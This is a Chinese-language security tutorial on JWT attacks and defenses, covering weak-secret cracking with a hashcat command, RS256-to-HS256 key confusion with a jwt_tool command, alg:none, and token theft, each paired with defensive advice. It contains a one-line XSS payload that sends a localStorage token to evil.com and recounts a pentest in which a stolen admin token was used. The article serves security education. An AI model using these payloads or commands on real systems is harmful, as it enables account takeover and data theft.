网络安全实战:JWT 安全攻防——从原理到深渊的暗战
前言:数字世界的通行证
在当下的Web安全领域,如果说有什么技术栈是开发者的“心头好”,同时又让黑客“垂涎三尺”的,JSON Web Token(JWT)绝对榜上有名。
本文将抛弃教科书式的枯燥定义,以实战者的视角,深入剖析JWT安全攻防的三大核心战场:弱密钥破解、算法混淆攻击以及Token劫持。我们将通过真实的漏洞场景、代码逻辑分析以及攻防对抗思维,带你彻底掌握这场关于“身份”的暗战。
第一章 认清你的对手:JWT不只是字符串
在发起攻击之前,我们必须像解剖学家一样,精准地拆解JWT的构造。很多时候,攻防双方博弈的焦点不在于“谁更聪明”,而在于“谁更了解底层逻辑”。
1.1 那个点,是生与死的界限
一个标准的JWT,看起来就像是一串乱码:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
许多新人看到这串东西,第一反应是:“这是Base64加密吗?”这是一个典型的误解。JWT并不加密(除非你使用JWE,那是另一个话题),它只是编码。
请记住,JWT由三部分组成,中间用点号(.)分隔:
-
Header(头部):这是第一段,Base64Url解码后通常是一个JSON,包含了令牌类型和签名算法。
{ "alg": "HS256", "typ": "JWT" }这是攻击者的首要目标。这里的
alg字段决定了整个Token的生死。 -
Payload(载荷):这是第二段,同样是可以直接解码的JSON。里面存放着用户ID、权限、过期时间等声明。
{ "sub": "1234567890", "name": "John Doe", "admin": false }实战警示:永远不要在Payload里放敏感信息(如密码、身份证号)。因为Base64是可逆的,任何人都能解码看到内容。
-
Signature(签名):这是第三段,也是唯一真正涉及“安全”的部分。它的生成逻辑如下:
签名 = 签名算法(编码后的Header + "." + 编码后的Payload, 密钥)
这一段的目的是保证前两段内容没有被篡改。如果你改了Payload里的admin: false为true,但手里没有密钥,你就无法生成正确的签名,服务器校验时就会报错。
攻防的核心逻辑就在这里:攻击者想方设法绕过签名校验,或者破解出密钥;防守者则必须死守签名算法的严谨性。
第二章 攻击实战一:弱密钥——最廉价的入口
在JWT安全的战场上,没有比“弱密钥”更让攻击者开心的漏洞了。这就像是你给银行金库装了一扇厚重的铁门,却把钥匙插在锁孔上忘了拔。
2.1 场景还原
某次渗透项目中,我截获了一个JWT Token。使用JWT Editor(Burp插件)或CyberChef快速解码Header,发现算法为HS256(HMAC SHA-256)。
HMAC是一种对称加密算法,意味着签名和验证使用的是同一个密钥。如果我是开发者,为了省事,我可能会在配置文件里写:
jwt.secret = "123456"
或者
jwt.secret = "secret"
这种操作在开发环境或许常见,但一旦被推送到生产环境,就是致命的。
2.2 攻击路径:从字典到破解
攻击过程异常简单,甚至不需要复杂的编程:
- 收集信息:获取目标的JWT Token。
- 准备武器:下载
hashcat或john the ripper,或者使用GitHub上常见的JWT弱密钥字典(如jwt-cracker自带的字典)。 - 格式转换:将JWT Token保存为文本文件,或者直接使用在线工具。
- 爆破:
使用hashcat的命令如下:
hashcat -m 16500 jwt_token.txt wordlist.txt
(其中-m 16500是JWT HS256的模式代码)。
如果字典里包含了这个弱密钥,几秒钟内你就能拿到明文密钥。
2.3 进阶:关于熵的博弈
有时候,开发者会用一些看似复杂的密钥,比如公司名+年份:Company2023!。
这时候,纯字典攻击可能失效。作为攻击者,我会结合社会工程学信息生成定制字典。如果目标公司的域名是example.com,我会尝试example_root、example_jwt_123等组合。
深层次思考:
为什么弱密钥问题屡禁不止?因为人类的记忆习惯与安全机制是冲突的。强密钥(如xK9#mP2$vL5@nQ8)难以记忆且容易配置错误。
防御建议:
不要硬编码密钥。使用环境变量或密钥管理系统(如HashiCorp Vault)。对于HS256,密钥长度至少应为256位(32字节)的随机字符串,且通过openssl rand -base64 32生成。
第三章 攻击实战二:算法混淆——逻辑的降维打击
如果说弱密钥是开发者“懒”,那么算法混淆攻击就是库开发者“蠢”或者逻辑上的盲区。这是一种极具技术含量的攻击方式,在CVE-2016-10554等漏洞中曾被大范围披露。
3.1 攻击原理:RSA伪装成HMAC
这种攻击的核心在于利用JWT库对alg字段的盲目信任。
正常情况(RS256):
服务器使用非对称加密。私钥严格保密,用于签发Token;公钥公开,用于验证Token。即使攻击者拿到了公钥,也无法伪造签名,因为公钥只能解密/验证,不能加密/签发。
攻击情况(Algorithm Confusion):
攻击者截获Token,解码Header,发现alg: RS256。
攻击者修改Header为:alg: HS256。
然后,攻击者利用服务器公开的公钥(通常在/.well-known/jwks.json或证书文件中),作为HS256算法的“对称密钥”,重新签名Payload。
关键点来了:
很多JWT库在验证签名时,逻辑是这样的:
verify(token, key, algorithms)
如果代码写得不够严谨,比如:
JWT.verify(token, publicKey) // 未指定允许的算法列表
库会看Token的Header,发现alg: HS256,于是它就把传入的publicKey当作HMAC的对称密钥来进行校验。
结果就是:用公钥作为密钥,攻击者成功伪造了签名。
3.2 实战步骤:手把手教你“越狱”
假设我们拿到了一个RS256的Token,并且从目标网站泄露的文件或接口拿到了公钥。
- 准备:下载公钥文件(public.pem)。
- 构造:使用
jwt_tool(一个经典的JWT攻击工具)或者自己写个Python脚本。
命令示例:
python jwt_tool.py <TOKEN> -X k -pk public.pem
(这里的-X k代表Key Confusion/公钥注入模式)。 - 原理拆解:
工具内部做了什么?- 它把Header的
alg从RS256改成了HS256。 - 它把Payload里的权限改成
"role": "admin"。 - 它用公钥的内容作为HS256的密钥,生成了新的签名。
- 它把Header的
- 发送:将修改后的Token发送给服务器。
- 结果:服务器代码看到
alg: HS256,便用公钥做HMAC校验,结果匹配,认证通过。
3.3 另一种形态:无算法攻击
这是算法混淆的一种低级变体。如果Header里的alg被改成none,服务器如果不校验,就会认为这是一个不签名的Token。
虽然现代库大多已修复此漏洞,但在某些老旧框架(如早期的Node.js库)中依然存在。
防御铁律: 在验证JWT时,必须显式指定允许的算法列表,绝不信赖Token头部的alg声明。
正确代码示例:JWT.verify(token, publicKey, algorithms: ['RS256'])
如果不加这个限制,攻击者就能把算法“降维”成HS256,从而利用公钥伪造身份。
第四章 攻击实战三:Token劫持——黑暗中的幽灵
前两章讲的是如何“伪造”合法票据,这一章讲的是如何“偷”走真正的票据。Token劫持是客户端安全的噩梦。
4.1 存储之道:LocalStorage vs. Cookie
JWT该存在哪里?这几乎是前端的哲学问题。
方案A:存LocalStorage
这是最常见也是最危险的方案。
攻击场景:XSS(跨站脚本攻击)。
如果网站存在任何XSS漏洞,攻击者只需注入一行代码:
var jwt = localStorage.getItem('jwt_token'); new Image().src='http://evil.com/?c='+jwt;
这行代码会悄无声息地把Token发送到攻击者的服务器。JWT没有防御CSRF的能力,但如果你存在XSS,CSRF都不需要了,直接偷Token即可。
方案B:存HttpOnly Cookie
这是相对安全的方案。
设置HttpOnly标志后,JavaScript无法读取Cookie,XSS攻击失效。
攻击场景:CSRF(跨站请求伪造)。
虽然攻击者读不到Token,但他们可以借用这个Token。比如诱导用户点击一个按钮,向目标网站发送请求。浏览器会自动带上Cookie,服务器验证通过,执行操作(如修改密码、转账)。
4.2 传输之殇:中间人攻击
如果你还在使用HTTP传输JWT,那么你是在裸奔。
在公共Wi-Fi下,攻击者通过Wireshark抓包,可以直接看到Header里的Authorization: Bearer <Token>或者URL参数里的Token。
Token一旦暴露,在过期时间之前,攻击者可以无限次使用。
4.3 实战案例:那把隐形的钥匙
曾处理过一个案例:某企业的内部OA系统。
我发现了系统中有一个上传头像的功能点,存在文件名XSS漏洞。虽然这个XSS触发概率较低,但我构造了一个恶意的SVG文件上传。
当管理员查看我的头像时,SVG文件被执行,JS代码运行,读取了LocalStorage中的JWT。
几分钟后,我拿到了管理员的Token,顺利进入后台,利用弱口令接管了数据库。
防御策略:
- 防御XSS是根本:输出编码、CSP策略、输入过滤。只要XSS存在,LocalStorage里的JWT就不安全。
- Cookie策略:优先使用HttpOnly + Secure + SameSite Cookie存储JWT。
- Secure:确保只在HTTPS下传输。
- SameSite=Strict/Lax:有效防御CSRF攻击。
- 绑定机制:将Token与客户端指纹(如User-Agent、IP地址哈希)绑定。如果Token被盗用,但攻击者的IP变了,服务器可以拒绝请求。
第五章 纵深防御:构建安全生态
攻防没有终点。作为防守方,我们不能只盯着一点,需要建立纵深防御体系。
5.1 生命周期的控制
JWT最大的特点是“无状态”,一旦签发,就像货币一样流通,直到过期。
这带来了一个痛点:注销难。
用户点了“退出登录”,但Token在服务器看来依然有效,直到exp到期。
解决方案:
- 黑名单机制:在Redis中维护一个黑名单,退出登录时将Token ID写入黑名单。虽然牺牲了无状态的性能,但保证了安全。
- 短时效+刷新机制:Access Token有效期设短(如15分钟),Refresh Token设长(如7天)。Access Token被盗,15分钟后失效;Refresh Token被盗,用户需重新登录。
5.2 签名算法的选择
优先使用非对称加密(RS256/ES256)。
虽然HS256计算速度快,但在安全性上,RS256更适合微服务架构。公钥可以分发给多个微服务用于验证,而私钥只掌握在认证中心。
即使攻击者攻破了某一个微服务,拿到了公钥,也无法伪造Token。
5.3 避免敏感信息
再次强调,Payload是透明的。
如果你必须传输敏感数据,请使用JWE(JSON Web Encryption),对Payload进行加密。或者,只传输一个ID,让前端拿着ID去后端查库获取详情。虽然多了一次查库开销,但避免了数据泄露风险。
5.4 监控与异常检测
建立安全日志。
如果一个Token在1秒内从北京IP跳到了纽约IP,这正常吗?
如果一个低权限用户的Token突然尝试访问/admin接口,这正常吗?
通过风控系统拦截异常的Token使用行为,是最后一道防线。
结语:安全是动态的博弈
JWT安全问题,归根结底是“便利性”与“安全性”的博弈。弱密钥是为了配置便利,算法混淆是为了代码兼容便利,LocalStorage是为了前端调用便利。
每一次便利的背后,都可能挖好了坑。作为安全人员,我们不需要发明什么新东西,我们只需要发现这些“坑”,并把它们填上。在实战中,没有绝对安全的系统,只有不断进化的攻防思维。
更多推荐
所有评论(0)